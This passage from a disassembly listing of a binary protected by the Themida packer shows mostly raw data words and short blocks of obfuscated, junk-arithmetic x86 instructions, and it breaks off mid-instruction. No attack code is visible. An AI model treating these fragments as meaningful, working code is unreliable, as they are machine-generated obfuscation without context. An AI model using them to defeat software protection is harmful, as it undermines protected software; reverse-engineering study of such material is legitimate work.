--------------------------------------------------------------------------- dd 69B9F381h, 0DE310315h, 0E9241C8Bh, 0FFFF0039h, 13D1BF57h dd 0C7812C1Bh, 0D3E4EC33h, 835FF901h, 0C8704E9h, 75E95C24h dd 61000007h, 0FEDE67E9h, 243489FFh, 14D1E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0F22: ; CODE XREF: Themida_:005951EEj sub ebx, 486F476Fh sub ebx, 1953271Dh sub ebx, 4F41220Dh add ebx, 383C1B69h add ebx, eax jmp loc_59A9C3 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0E6h dd 5E44EC05h, 84E9FB29h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0F4F: ; CODE XREF: Themida_:00597C1Aj push edx mov edx, 54DF2670h add edi, edx pop edx sub esp, 4 mov [esp], ebp jmp loc_5A06A0 ; --------------------------------------------------------------------------- loc_5A0F66: ; CODE XREF: Themida_:0059DD5Cj sub ebp, 4 xchg ebp, [esp] jmp loc_59ED51 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0C8BC821h, 0E0895024h, 405h, 4C08300h, 0FF2210E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0F89: ; CODE XREF: Themida_:00590E25j add ebx, 61616103h xor ebx, 2AF14C40h sub edi, ebx pop ebx mov edx, edi pop edi push 5719h mov [esp], ebx push 20DF7A07h pop ebx xor ebx, 4CFD30F5h add edx, ebx pop ebx sub edx, 6E6F5F71h add edx, edi push ebp mov ebp, 43405C36h sub ebp, 0D4D0FCC5h add edx, ebp pop ebp sub edx, 6C224AF2h mov ecx, [edx] pop edx push 4BDAh mov [esp], ebx push edi mov edi, 282F0099h push edi push edx mov edx, 1 add [esp+4], edx pop edx pop edi push ebp mov ebp, 69A05FE8h xor edi, ebp mov ebp, [esp] add esp, 4 jmp loc_58E7F1 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048F00h, 0FFDE2CE9h, 2434FFFFh, 4C4815Dh, 0C1000000h dd 0F78108EFh, 50F745F7h, 1E3EF781h, 0F1E91E46h, 1FFFF8Bh dd 43E8E9D0h, 0E883FFFFh, 24048704h, 0FF6A54E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1041: ; CODE XREF: Themida_:005924A1j sub eax, 6E047B32h add ecx, eax pop eax sub edi, 2FC81F53h sub edi, 57DB22AAh add edi, ecx jmp loc_596831 ; --------------------------------------------------------------------------- dd 8B24048Fh, 0C892424h, 18FE924h, 0C4830000h, 0F094E904h dd 1C87FFFEh, 0AF92E924h, 0C89FFFFh, 0E4D9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1082: ; CODE XREF: Themida_:0058F55Bj push esp pop edx add edx, 4 push ebx jmp loc_59207E ; --------------------------------------------------------------------------- dd 8104C483h, 7F1C8FE9h, 81C1011Ah, 7F1C8FC1h, 87DFE91Ah dd 0E956FFFFh, 0FFFFCFCDh, 4C481h, 9FE90000h, 51FFFF87h dd 0FF05A2E9h, 8BE95FFFh, 68FFFFF7h, 48EAh, 68241489h dd 2AEB0FD9h, 3D46E95Ah, 0E730FFFFh, 0E9F98858h, 0FFFFACAAh ; --------------------------------------------------------------------------- loc_5A10E0: ; CODE XREF: Themida_:0059144Aj or ah, 0B5h sub ah, 0C9h jmp loc_5911A5 ; --------------------------------------------------------------------------- loc_5A10EB: ; CODE XREF: Themida_:0059B389j add ebp, eax push eax mov eax, 7C2F5587h not eax shl eax, 4 sub eax, 0D47C90E7h sub ebp, eax pop eax pop eax sub ebp, 621B2B61h add ebp, eax add ebp, 621B2B61h sub ebp, 92A07DAh pop eax inc ebp not ebp sub ebp, 0FFFFFFFFh xchg ebx, ebp not ebx xor ebp, ebx xor ebx, ebp xor ebp, ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, 2266A84h and ebp, esi pop esi xor ebp, 4BFFBh mov ecx, ebp push dword ptr [esp] pop ebp add esp, 4 and eax, ecx jmp loc_5976D9 ; --------------------------------------------------------------------------- db 1, 0C8h, 51h dd 6A12E950h, 0E789FFFFh, 4C781h, 0EF830000h, 243C3304h dd 33243C31h, 895C243Ch, 34812404h, 0BA720A24h, 98DBE942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A118A: ; CODE XREF: Themida_:0059E4F8j sub ebx, eax pop eax and ecx, ebx pop ebx jmp loc_5976BC ; --------------------------------------------------------------------------- loc_5A1195: ; CODE XREF: Themida_:00597988j pop eax add esi, ebx mov ebx, [esp] push edx mov edx, esp jmp loc_598044 ; --------------------------------------------------------------------------- db 5Fh dd 59BEE781h, 0E950709Ah, 0FFFEDF81h, 18590DB8h, 58C22966h dd 0BD55C201h, 6618590Dh, 0D1E9EA01h, 2DFFFEDAh, 0D4AE48B1h dd 48BC201h, 0DD28E924h, 9B68FFFEh, 89000047h, 48B241Ch dd 4C48124h, 8B000000h, 0C483241Ch, 0C5815E04h, 41274426h dd 0FF8757E9h, 0D155E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A11FE: ; CODE XREF: Themida_:005A0AF0j add ah, 0D8h add bl, ah pop eax jmp loc_59C44A ; --------------------------------------------------------------------------- db 0E9h, 45h, 0D1h dd 19B9FFFEh, 811F3128h, 3049E7C9h, 0C5C1E96Ah, 74FFFFFFh dd 0A8E90424h db 2Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1227: ; CODE XREF: Themida_:00594F78j neg ecx not ecx jmp loc_593915 ; --------------------------------------------------------------------------- dd 8BF8305Ch, 0ECE9241Ch, 0BEFFFF59h, 4, 26F6C781h, 0EF810FA7h dd 7A9C72A5h, 0C781F701h, 7A9C72A5h, 26F6EF81h, 0E95E0FA7h dd 0FFFFD0AFh, 3F82CF81h, 0BE5653FCh, 44F84DBAh, 815EF721h dd 9C1398C7h, 177005E3h, 0D5E94CCDh, 52FFFF74h, 395871BAh dd 585FE940h, 0C681FFFFh, 4, 8704EE83h, 895C2434h, 3268240Ch dd 89000061h, 0B4E9241Ch db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A12A7: ; CODE XREF: Themida_:00599BCCj xor ebx, edx pop edx shl ebx, 2 jmp loc_58FC3E ; --------------------------------------------------------------------------- word_5A12B2 dw 77FFh ; DATA XREF: Themida_:0058E0ECo dd 11589D1Ch, 0E99C2404h, 0FFFED093h ; --------------------------------------------------------------------------- loc_5A12C0: ; CODE XREF: Themida_:0059FCC1j and esi, 724968D4h shr esi, 3 sub esi, 0AE4483h add esi, 480045C7h mov ebp, esi jmp loc_599EB9 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 48B2434h, 0B24DE924h, 5659FFFFh, 89515E54h dd 0FC02E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A12F6: ; CODE XREF: Themida_:00599391j mov al, 0C2h jmp loc_598813 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0C55B6CB8h, 0E9C7010Dh, 0FFFF89BDh, 4E981h, 3EE90000h db 14h, 2 dup(0FFh) byte_5A1317 db 66h ; DATA XREF: Themida_:0058E170o dd 8124048Bh, 4ECh, 24048900h, 5F1B68h, 24248900h, 0FFA88CE9h dd 242C89FFh, 42474FFh, 24048F5Dh, 8924248Bh, 0BB53240Ch dd 71FC5B3Fh, 3A4C3B9h, 5BD9018Eh, 159CE89h, 2434FFF2h dd 0FFDEC7E9h, 0E78957FFh, 0EEE95051h db 0F2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A1367: ; CODE XREF: Themida_:0059B0CBj shr esi, 5 jmp loc_59A455 ; --------------------------------------------------------------------------- db 89h dd 0E6892434h, 4C681h, 0C6830000h, 24348704h, 0FF7334E9h dd 5AE941FFh db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A138B: ; CODE XREF: Themida_:00598072j push ebp push esi mov esi, 589D6CA1h mov ebp, esi push dword ptr [esp] pop esi add esp, 4 push ebx mov ebx, 1389D32Eh add ebp, 102D7F7Dh add ebp, ebx sub ebp, 102D7F7Dh pop ebx mov edx, ebp jmp loc_59A688 ; --------------------------------------------------------------------------- dw 0EF01h dd 83242C8Bh, 575104C4h, 7C721FBFh, 0EEF7810Ah, 0E939DC7Bh dd 0FFFED6FFh, 0E904C483h, 0FFFFE7CAh dword_5A13DC dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFECF67h, 0C54F57BFh ; DATA XREF: Themida_:0058E1F4o dd 0E10EE9A0h, 912DFFFFh, 293B3210h, 109105C8h, 68593B32h dd 7A1Dh, 0FEEB9EE9h, 0EC835DFFh, 242C8904h, 6530D9BDh dd 0DB9EE955h, 814EFFFFh, 0B44CB5EEh, 5EF2010Dh, 522ABB53h dd 0DA010173h, 14CAE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1436: ; CODE XREF: Themida_:0059C420j mov ebp, 1F594F9Dh jmp loc_59D768 ; --------------------------------------------------------------------------- dword_5A1440 dd 0E92434FFh, 0FFFF7D64h, 0BA52D1F7h, 49DC4692h, 23CEE942h ; DATA XREF: Themida_:0058E220o dd 34FFFFFFh, 7CA2E924h, 0F928FFFFh, 0FFD130E9h, 240433FFh dd 33240431h, 37E92404h, 81FFFF65h, 0CA771DC5h, 0E9CD0174h dd 0FFFF545Ch, 0BE56E389h, 4, 0F2E9F301h, 0BFFFFF52h, 714C2240h dd 0FEFE12E9h, 68C201FFh, 1006h, 0E9240489h, 0FFFF3D1Bh ; --------------------------------------------------------------------------- loc_5A14A8: ; CODE XREF: Themida_:005A1650j push ebx mov ebx, 30286467h mov eax, ebx mov ebx, [esp] jmp loc_590181 ; --------------------------------------------------------------------------- dd 21E9E189h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A14BF: ; CODE XREF: Themida_:0058FC1Cj sub edx, 7756554Fh push dword ptr [esp] pop esi add esp, 4 add eax, edx pop edx xor ecx, eax xor eax, ecx xor ecx, eax xor [edi+24h], ecx push ebx mov ebx, 24h add ebx, edi push eax mov eax, 0 add eax, ebx xor ecx, [eax] pop eax pop ebx jmp loc_5A1B86 ; --------------------------------------------------------------------------- dd 0D766E95Eh, 6368FFFFh, 5B22E772h, 0C381D3F7h, 7847AF22h dd 815BD989h, 912BDC1h, 0F1C1811Eh, 0E9603226h, 0FFFF032Dh dd 85E9C329h, 8300000Dh, 8F042404h, 4812404h, 424h, 242C8B00h dd 8104C483h, 4C5h, 70CE6800h, 3C890000h, 55575024h, 0D72F74BDh dd 1214BF25h, 0EF01DF05h, 0EF814F5Dh, 0EA9BEE95h, 0FBE9F889h dd 33000012h, 305C242Ch, 0E99C2404h, 0FFFECDE3h, 0E959CE21h dd 0FFFEEAB4h, 0C103E1C1h, 0E18102E9h, 3BEE023Ah, 0FFB046E9h dd 0FCC781FFh, 315A1DDDh, 243C8BFBh, 0FF5B04E9h, 93E959FFh dd 0D0FFFFB2h, 2271E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A15A6: ; CODE XREF: Themida_:0058FCBBj mov esp, [esp] push 3E6Ch jmp loc_58F44D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0C3EB8100h, 583BE45Dh, 0D68BE950h, 0C681FFFEh dd 6B7E6C85h, 0D6F7DEF7h, 8103E6C1h, 850C62CEh, 0D7F68124h dd 315EC56Ch, 0A0E95EF5h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A15E7: ; CODE XREF: Themida_:0059FA98j mov esi, [esp] add esp, 4 push 7173h mov [esp], edx push 800000h mov edx, [esp] push 5710h mov [esp], ebp push esp jmp loc_59D657 ; --------------------------------------------------------------------------- db 59h dd 815EF129h, 747466C5h, 5565E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A161A: ; CODE XREF: Themida_:0059FDBBj pop esp push edx mov edx, 318E07C4h shl edx, 2 sub edx, 0C6381F0Ch sub ebp, edx pop edx xor ebp, [esp] xor [esp], ebp jmp loc_592D97 ; --------------------------------------------------------------------------- dd 6909C581h, 0A9E91A07h db 0E2h, 2 dup(0FFh) byte_5A1643 db 66h ; DATA XREF: Themida_:0058E14Co dd 55240C8Bh, 0FF367AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A164D: ; CODE XREF: Themida_:0059E27Aj add esi, edi push eax jmp loc_5A14A8 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 53000000h, 6F3130BBh, 0DED4E97Bh, 1C89FFFEh, 5E50BB24h dd 0D3F7565Fh, 6D08CB81h, 0E381733Fh, 54926E9Fh, 0B68E9h dd 0E9C60100h, 0FFFFF7D0h, 51240489h, 5B0ADD68h, 32E9591Bh db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1697: ; CODE XREF: Themida_:00590170j add esi, 40DD4350h push 3437h jmp loc_593248 ; --------------------------------------------------------------------------- db 0FFh dd 5E042474h, 5624048Fh, 0FFF11BE9h, 241C89FFh, 4BBh, 0BA01E900h dd 0C683FFFFh, 24348702h, 4BD7E95Ch, 489FFFFh, 7867B824h dd 1FE93D84h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A16DB: ; CODE XREF: Themida_:0059E7D2j xor eax, 4591D1C0h sub edi, eax pop eax sub edi, ebp add edi, 7E3A3929h mov ebp, [esp] add esp, 4 xor eax, edi pop edi sub esp, 4 mov [esp], edi mov edi, 24FD1198h sub edi, 571B52D0h push edi jmp loc_59F055 ; --------------------------------------------------------------------------- byte_5A1711 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E308o aHms db '$hms',0 align 2 dw 1489h aTzhni db '$TZhNI',0 align 4 dd 83240C89h, 148904ECh, 6A7BBA24h, 8142663Ch, 96A542C2h dd 0FC2B9E9h, 62E94FD3h, 1FFFF60h, 0EC8358C7h, 24348904h dd 4BEh, 87EF8100h, 15BE447h, 709168F7h, 1C890000h, 4787BB24h dd 0DF015BE4h, 24348B5Bh, 4C481h, 3C330000h, 6BC8E924h dd 0C481FFFFh, 4, 0FEF084E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1785: ; CODE XREF: Themida_:0058F951j mov edi, 4 add edx, edi push dword ptr [esp] pop edi push ebp jmp loc_5974D5 ; --------------------------------------------------------------------------- loc_5A1796: ; CODE XREF: Themida_:0059E69Fj add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax pop eax jmp loc_59BC13 ; --------------------------------------------------------------------------- loc_5A17AB: ; CODE XREF: Themida_:0059A4BFj push dword ptr [edi+eax*4] mov eax, [esp] sub esp, 4 mov [esp], eax push esp mov eax, [esp] push 6210h mov [esp], ebp push esp mov ebp, [esp] add esp, 4 jmp loc_59F686 ; --------------------------------------------------------------------------- dw 595Eh dd 31240433h, 4332404h, 8B665C24h, 54552404h, 0FF3DA0E9h db 0FFh byte_5A17E9 db 68h, 7Dh, 3Ah ; DATA XREF: Themida_:0058E0F4o dd 0C890000h, 81E18924h, 4C1h, 666D6800h, 34890000h, 56B85024h dd 0BE7F5D60h, 80A29FAEh, 0FAE9C601h, 0B6000005h, 95B551B9h dd 0CAE9EE30h, 8BFFFFA1h, 8957242Ch, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 4EB815Ch, 87000000h, 248B241Ch, 243C8924h dd 0EC83E789h, 24148904h, 986413BAh, 0C1DAF701h, 534208E2h dd 4C2307BBh, 2F38143h, 3124D7CEh, 0D1EE9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A186A: ; CODE XREF: Themida_:0059CDFBj mov esi, 2E6F32B6h add ecx, esi pop esi push edi mov edi, 24453AD6h add ecx, edi mov edi, [esp] add esp, 4 mov ebp, [esp] add esp, 4 push ecx jmp loc_59E698 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 83000000h, 348704C6h, 0E9C15C24h, 5E9C106h dd 0CEE9D9F7h, 81FFFF7Dh, 2D36BDCDh, 0D5E5811Bh, 81346F5Dh dd 6D55D1EDh, 0E601E930h, 0EA81FFFFh, 5F52798Bh, 0C281CA01h dd 5F52798Bh, 57240C8Bh, 0BE56E789h, 35937477h, 0FF62DEE9h db 0FFh byte_5A18E5 db 53h, 0E9h, 0EDh ; DATA XREF: Themida_:0058E2F4o dd 2DFFFF10h, 36EC2C48h, 6A06BA52h, 93E90161h, 28FFFFB9h dd 4F6866E8h, 1C89667Dh, 0FEA6B324h, 0CFC380CBh, 0F380D3F6h dd 66D80046h, 0C8B665Bh, 0E0895024h, 8904EC83h, 4BB241Ch dd 0E9000000h, 0FFFF47D0h, 0FFEE8159h, 0E9FFFFFFh, 0FFFECBE4h ; --------------------------------------------------------------------------- loc_5A1938: ; CODE XREF: Themida_:00591A14j dec esi xor esi, 0A14A586h sub edi, 101024EBh sub edi, esi jmp loc_59C824 ; --------------------------------------------------------------------------- loc_5A194C: ; CODE XREF: Themida_:005960D4j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59DEDE ; --------------------------------------------------------------------------- loc_5A195F: ; CODE XREF: Themida_:00594554j not ebx add ebx, 32AF233Dh add edi, 5662334Ah add edi, ebx jmp loc_59C8E0 ; --------------------------------------------------------------------------- dd 405E089h, 56000000h, 4BEh, 5EF00100h, 5C240487h, 4EC81h dd 0CDE90000h db 2 dup(0FEh), 0FFh ; --------------------------------------------------------------------------- loc_5A1993: ; CODE XREF: Themida_:00599A04j pop esi jmp loc_59E8CB ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FF3F19E9h, 2BB53FFh, 0F75E461Dh, 91F381D3h, 0E9A372CCh dd 0FFFEFABEh, 81E68956h, 4C6h, 4C68300h, 0E9243487h, 0FFFF1BB9h dd 0BB535954h, 1F720596h, 4B4BD3F7h, 0FA63F381h, 0D901E08Dh dd 81241C8Bh, 4C4h, 4C18300h, 0FFED94E9h, 2C181FFh, 33000000h dd 0FBE9240Ch db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A19FB: ; CODE XREF: Themida_:0058EA5Dj mov ebx, 4 add ebp, ebx jmp loc_594EA6 ; --------------------------------------------------------------------------- db 5Dh dd 4C481h, 0C330000h, 240C3124h, 8B240C33h, 0EC832424h dd 24148904h, 14C268h, 24048900h, 4EC815Ah, 89000000h dd 0A268241Ch, 89000063h, 0E9E9242Ch, 68FFFED3h, 1C9Dh dd 54243489h, 0D468525Eh, 8B62C85Bh, 0C4832414h, 7E2C104h dd 0FD20E953h, 0C581FFFEh, 0A1CFE07Ch, 0C2E9E901h db 0F8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A1A6B: ; CODE XREF: Themida_:0059FAF0j sub eax, 5BED2903h pop ebx add eax, esi sub esp, 4 mov [esp], ebp mov ebp, 4F6C127Ch jmp loc_5927DC ; --------------------------------------------------------------------------- db 81h dd 4EAh, 24143300h, 33241431h, 895C2414h, 8B542414h, 0C4832414h dd 4C28104h, 0E9000000h, 0FFFF5760h ; --------------------------------------------------------------------------- loc_5A1AA8: ; CODE XREF: Themida_:0058FF8Ej xor dh, al pop eax add bl, dh mov edx, [esp] add esp, 4 push 59A5h mov [esp], edx push ebx mov ebx, 2BB242BEh mov edx, 0D44DBD7Ah sub edx, 22543AB9h add edx, ebx add edx, 22543AB9h pop ebx add edx, edi push ecx push 0 pop ecx push edx mov edx, 61C454EEh jmp loc_58F551 ; --------------------------------------------------------------------------- loc_5A1AEC: ; CODE XREF: Themida_:0059EBD4j pop esi jmp loc_59D638 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9243C89h, 0FFFF5892h, 4EC815Dh, 89000000h, 51E9240Ch db 0DAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A1B0F: ; CODE XREF: Themida_:0059174Ej add edx, 66822774h add edx, edi jmp loc_59BBFA ; --------------------------------------------------------------------------- dd 148BD301h, 0B538E924h, 0F381FFFFh, 0FA43C94h, 0E95BDF21h dd 0FFFF77F1h, 4C481h, 0FDE90000h, 87FFFF4Bh, 5DE9240Ch dd 0BAFFFF51h, 351913E6h, 6D78E281h, 0C2816B8Eh, 78DA3D89h dd 0FF31D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1B5D: ; CODE XREF: Themida_:00593E42j xor eax, [esp] pop esp jmp loc_591C0E ; --------------------------------------------------------------------------- loc_5A1B66: ; CODE XREF: Themida_:00590BEBj mov ebp, [esp] jmp loc_5A2007 ; --------------------------------------------------------------------------- dw 0B568h dd 89000069h, 5E542434h, 4C681h, 0EE830000h, 57CFE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1B86: ; CODE XREF: Themida_:005A14EFj xor [edi+24h], ecx loc_5A1B89: ; CODE XREF: Themida_:0059D4A2j push eax mov eax, esp push 5114h mov [esp], ecx mov ecx, 57A17DF6h push ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 add ecx, 72A2777h or ecx, 0A524CF0h sub esp, 4 mov [esp], edx mov edx, 27F2025Ah and ecx, edx pop edx sub ecx, 592C7F2Dh push edx jmp loc_59444D ; --------------------------------------------------------------------------- loc_5A1BCC: ; CODE XREF: Themida_:0059F336j shl eax, cl push esi mov esi, 3B431D8Bh push ebp mov ebp, 697C1851h xor ebp, 2AAA749Bh neg ebp and ebp, 28BF1C71h xor ebp, 53D81770h or esi, ebp pop ebp push esi inc dword ptr [esp] mov esi, [esp] add esp, 4 sub esi, 41C824ADh jmp loc_599024 ; --------------------------------------------------------------------------- dw 1C33h dd 24248B24h, 0BE243489h, 7C892572h, 0FF5026E9h, 241431FFh dd 0FEF987E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1C21: ; CODE XREF: Themida_:005991CCj push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_58F846 ; --------------------------------------------------------------------------- dd 5D5BD829h, 0D755EC2Dh, 2E292D1Bh, 0F829447Bh, 7B2E2905h dd 55EC0544h, 0BB531BD7h, 24654958h, 0F703EBC1h, 8FF381DBh dd 43789403h, 0B89C381h, 7BE9EC39h, 81FFFF5Dh, 4C5h, 4ED8300h dd 0E9242C87h, 0FFFF9F4Eh, 0D84AE95Dh, 6851FFFEh, 49085CAEh dd 8BCA2959h, 4E9240Ch, 89FFFECAh, 90D3E9E1h, 3C33FFFFh dd 24248B24h, 52C8BF0Fh, 11CC68h, 48F5400h, 24048324h dd 0E7F4E904h, 0E957FFFFh, 0FFFEE46Eh ; --------------------------------------------------------------------------- loc_5A1CD0: ; CODE XREF: Themida_:005949A2j push edi mov edi, 5DC80715h sub edi, 148EBB7Bh dec edi sub edi, 2444EEE3h and esi, edi pop edi jmp loc_58EF35 ; --------------------------------------------------------------------------- db 5Dh dd 0FF17A1E9h, 0C65DE9FFh, 0F381FFFEh, 0DE046444h, 0E95BDF01h dd 0FFFEC912h, 0A030B505h, 619B056Ah, 262D0330h, 16D0914h dd 142605D8h, 9B2D6D09h, 2D033061h, 6AA030B5h, 74FF505Bh dd 0E9580424h, 0F61h, 0C09CB450h, 0B65202E4h, 80C6FE89h dd 0EAE9F0F6h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1D43: ; CODE XREF: Themida_:0058E4F0j add ebp, 0DC0229Dh sub ebp, 1957AD8Eh add esi, ebp pop ebp mov edi, [esp] push edx push esp pop edx jmp loc_594616 ; --------------------------------------------------------------------------- dd offset byte_40B860+8 align 2 dw 2C89h dd 7DB6824h, 34FF219Fh, 0C4835D24h, 82BB5304h, 0E91FE8E9h dd 0FFFF6C04h, 68243C89h, 7E2C026Bh, 0E9243C8Bh, 0FFFEF0ADh dd 5059CE30h, 0E4C078B4h, 0E407E907h, 0E883FFFEh, 24048704h dd 0FFA05FE9h, 2474FFFFh, 0E086E904h, 0EC81FFFFh, 4, 0FF1145E9h dd 49F181FFh, 0F764F464h, 65D368D9h, 12E90000h, 9FFFF3Bh dd 0E9581C47h, 0FFFEC57Fh, 4A4CF8BBh, 5BDA8969h, 0AB70EB05h dd 2DD02945h, 45AB70EBh, 8124148Bh, 4C4h, 0E2895200h, 4BF57h dd 58E90000h, 35FFFEEDh, 10626C5Ah, 58C3895Ah, 0FEC546E9h dd 0F12958FFh, 0A864E95Eh, 0E801FFFFh, 52BF575Dh, 560A9C5Ah dd 0CB4561BEh, 5EF72103h, 0AE9DFF7h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1E2F: ; CODE XREF: Themida_:0059DC4Ej mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push eax push esp mov eax, [esp] add esp, 4 jmp loc_59FEFB ; --------------------------------------------------------------------------- db 89h dd 14F72434h, 0C6815E24h, 689E397Fh, 6FE9EB81h, 0EB8156B0h dd 3AD41F2Fh, 0C381F301h, 3AD41F2Fh, 0FEDC2EE9h, 0C4835AFFh dd 0AC98004h, 0F6FFE980h, 80D9F6D1h, 0B05014E1h, 0FFC1300Ah dd 81582434h, 4C4h, 4EE95100h, 87FFFFD1h, 7D33E9CBh, 0C981FFFFh dd 7C431D5Eh, 274AF181h, 5FE951EBh, 81FFFF1Fh, 4C2h, 0CA72E900h dd 15CFFFFh, 0BD5558C6h, 2, 6568C681h, 0EE01012Eh, 6568EE81h dd 875D012Eh, 665C2434h, 8324048Fh, 896602ECh, 0F766241Ch dd 5B662414h, 0FF9D2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1EED: ; CODE XREF: Themida_:0059EEC3j pop esp mov [esp], edx sub esp, 4 mov [esp], ecx mov ecx, 5B8D28E8h shl ecx, 8 xor ecx, 4E7B2524h sub ecx, 7449BDCAh and ecx, 29E03777h xor ecx, 900074Eh mov edx, ecx pop ecx add edx, edi mov eax, [edx] push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_5A30DD ; --------------------------------------------------------------------------- dw 48Fh dd 34895C24h, 355DBE24h, 0D6872C5Ah, 0D687D2F7h, 0FF2BE0E9h dd 241489FFh, 0D3288BB2h, 0FFB7C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1F4D: ; CODE XREF: Themida_:0059BC52j sub ebx, 1 shl ebx, 8 add ebx, 7B8A14DBh jmp loc_59C182 ; --------------------------------------------------------------------------- dw 0F681h dd 85679A42h, 0FEF29EE9h, 4C281FFh, 83000000h, 148704C2h dd 0FC31E924h, 0D8B5FFFEh, 0ED80DDF6h, 9FF2E933h, 0B951FFFFh dd 63734E4Bh, 0FBB818BEh, 59CE01BFh, 505EF721h, 295BB951h dd 0C88910BCh, 37EF3559h, 0D22D3560h, 251FBE64h, 45828AFh dd 0E950D0F7h, 0FFFFCC88h, 2414895Ch, 0C281E289h, 4, 4EC81h dd 2C890000h, 54685724h, 5F272B1Fh, 2BC6C781h, 0EFC16151h dd 53C78104h, 89F7783Bh, 2421E9FDh, 0D309FFFFh, 388BE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1FF2: ; CODE XREF: Themida_:005979A5j and ecx, ebp pop ebp push 5D78h mov [esp], ebp mov ebp, 0FB21D8C2h jmp loc_59539C ; --------------------------------------------------------------------------- loc_5A2007: ; CODE XREF: Themida_:005A1B69j add esp, 4 jmp loc_5947DE ; --------------------------------------------------------------------------- dw 815Bh dd 4C3h, 8B5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A201E: ; CODE XREF: Themida_:00594C77j add edx, 4 add edx, 4 jmp loc_5955C9 ; --------------------------------------------------------------------------- loc_5A202F: ; CODE XREF: Themida_:00590AF2j mov [esp], eax mov ah, 0C2h push edx mov dl, ah mov cl, dl pop edx pop eax sub al, cl jmp loc_594516 ; --------------------------------------------------------------------------- word_5A2042 dw 0FF64h ; DATA XREF: Themida_:0058E22Co dd 0C309E932h, 2489FFFEh, 24048124h, 4, 0FEC6F2E9h, 34FF5CFFh dd 89525824h, 1AD3E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2066: ; CODE XREF: Themida_:0059AA72j mov bl, 90h shr bl, 3 xor bl, 0C2h shr bl, 7 shr bl, 6 jmp loc_59D7F9 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 0DFA225Fh, 2AC6C781h, 0E78168CBh, 0DF94D9Fh, 0D69FC781h dd 0FA8913A9h, 5FB9515Fh, 5227E4Ch, 69301A0Ch, 0FF2E96E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A20A5: ; CODE XREF: Themida_:0059D77Dj xor edx, 6FFFA9E0h jmp loc_58F18C ; --------------------------------------------------------------------------- dd 5B2434FFh, 0FFBE6EE9h, 3D32BAFFh, 0E95254ECh, 0FFFEECE0h dd 35B8C381h, 0BF5727CDh, 3FBE619Ch, 0E95FFB09h, 0FFFF8231h dword_5A20D8 dd 4EC81ADh, 0E9000000h, 0FFFF041Eh, 4EC8358h, 0E9243489h ; DATA XREF: Themida_:0058E1D0o dd 0FFFF0023h, 48996850h, 14890000h, 0A7B9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A20FE: ; CODE XREF: Themida_:0059E790j add al, 57h push ecx jmp loc_59C9D7 ; --------------------------------------------------------------------------- dw 0F281h dd 1F171C69h, 0F59FEA81h, 0D701AC01h, 6856535Ah, 41415812h dd 0F6F6815Eh, 81032719h, 0D1D582C6h, 5EF38916h, 8104EBC1h dd 87720CC3h, 0D7F3812Bh, 0E952B4CCh, 0FFFF8CEDh, 5C241C87h dd 0FFCDFFE9h, 6BA52FFh, 4A369747h, 1985EA81h, 0D6010D17h dd 0FF62F3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A215D: ; CODE XREF: Themida_:0059FAD8j add 